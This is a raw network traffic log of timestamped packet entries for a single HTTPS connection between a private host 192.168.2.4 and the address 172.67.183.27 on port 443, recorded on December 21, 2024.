Dec 21, 2024 20:13:48.811952114 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.812092066 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.818950891 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.818964005 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.819019079 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.819025040 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.819056988 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.819070101 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.826106071 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.826118946 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.826184034 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.826190948 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.826226950 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.833801985 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.833817959 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.833873034 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.833878040 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.833908081 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.833923101 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.840174913 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.840188026 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.840267897 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.840272903 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.840315104 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.847501040 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.847512960 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.847569942 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.847579002 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.847611904 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.871453047 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.871470928 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.871520042 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.871525049 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.871553898 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.871568918 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.996835947 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.996857882 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.996949911 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.996949911 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.996957064 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.997193098 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.004343033 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.004357100 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.004506111 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.004509926 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.004618883 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.010962963 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.010979891 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.011094093 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.011099100 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.011521101 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.018548965 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.018568039 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.018753052 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.018760920 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.018846989 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.025835037 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.025855064 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.026164055 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.026170015 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.029503107 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.032324076 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.032337904 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.032416105 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.032416105 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.032422066 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.032474995 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.039792061 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.039805889 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.039880991 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.039886951 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.039937019 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.063936949 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.063954115 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.064028025 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.064028025 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.064033985 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.064090014 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.189526081 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.189543009 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.189624071 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.189624071 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.189637899 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.189865112 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.196943045 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.196954966 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.197021008 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.197026014 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.197115898 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.203561068 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.203572989 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.203635931 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.203641891 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.203713894 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.210961103 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.210973978 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.211098909 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.211102962 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.211237907 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.218319893 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.218332052 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.218471050 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.218476057 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.218589067 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.224937916 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.224952936 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.225017071 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.225023031 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.225101948 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.232460976 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.232475042 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.232860088 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.232866049 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.233910084 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.258611917 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.258625031 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.258991003 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.258999109 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.261430025 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.381515980 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.381530046 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.381622076 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.381625891 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.381680012 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.388940096 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.388952017 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.389044046 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.389050007 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.389120102 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.396311045 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.396322012 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.396425009 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.396430969 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.396509886 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.402905941 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.402919054 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.403028965 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.403033972 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.403106928 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.410446882 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.410459042 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.410573006 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.410578012 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.410651922 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.417685032 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.417696953 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.417805910 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.417809010 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.417874098 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.425204039 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.425215960 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.425301075 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.425306082 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.425388098 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.451327085 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.451343060 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.451653004 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.451663971 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.451802015 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.585308075 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.585323095 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.585427046 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.585436106 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.585546017 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.591898918 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.591913939 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.592020035 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.592025042 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.592118025 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.598984957 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.598998070 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.599083900 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.599088907 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.599236965 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.605896950 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.605911016 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.605988026 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.605988026 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.605995893 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.606050014 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.612927914 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.612953901 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.613020897 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.613020897 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.613025904 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.613171101 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.620384932 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.620398045 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.620484114 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.620490074 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.620558977 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.626959085 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.626971006 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.627129078 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.627132893 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.627185106 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.643641949 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.643656015 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.643841028 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.643847942 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.643924952 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.776261091 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.776277065 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.776459932 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.776468039 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.776515961 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.783735991 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.783747911 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.783801079 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.783803940 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.783911943 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.791013956 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.791028023 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.791136980 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.791141987 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.795375109 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.798588037 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.798602104 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.798681974 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.798681974 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.798687935 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.798806906 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.805079937 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.805093050 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.805174112 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.805180073 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.805272102 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.812448978 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.812483072 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.812604904 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.812604904 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.812617064 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.812696934 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.819926023 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.819941044 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.823293924 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.823304892 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.823744059 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.835742950 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.835756063 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.835863113 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.835867882 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.835922956 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.968800068 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.968811989 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.968871117 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.968880892 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.968924046 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.976281881 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.976295948 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.976340055 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.976344109 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.976368904 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.976381063 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.983614922 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.983628035 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.983689070 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.983692884 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.983731031 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.990170956 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.990183115 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.990242958 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.990247011 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.990288019 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.997872114 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.997884035 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.997946978 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:49.997951984 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:49.997996092 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.005383015 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.005395889 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.005455971 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.005460978 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.005547047 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.012479067 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.012495995 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.012558937 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.012563944 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.012602091 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.028901100 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.028914928 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.028975010 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.028980970 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.029021025 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.163121939 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.163140059 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.163193941 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.163208961 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.163249016 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.170523882 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.170537949 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.170597076 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.170603037 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.170640945 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.177819967 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.177834988 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.177872896 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.177876949 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.177911997 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.177925110 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.185277939 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.185308933 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.185343027 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.185348988 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.185379028 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.185393095 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.191878080 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.191893101 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.191947937 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.191953897 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.191993952 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.199243069 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.199256897 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.199321032 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.199326038 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.199362993 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.208384037 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.208400011 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.208452940 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.208458900 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.208551884 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.220457077 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.220483065 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.220510006 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.220515013 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.220546007 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.220557928 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.355544090 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.355561018 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.355608940 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.355618000 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.355659008 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.355676889 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.362824917 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.362838030 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.362885952 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.362890005 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.362931013 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.370124102 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.370138884 CET	443	49737	172.67.183.27	192.168.2.4
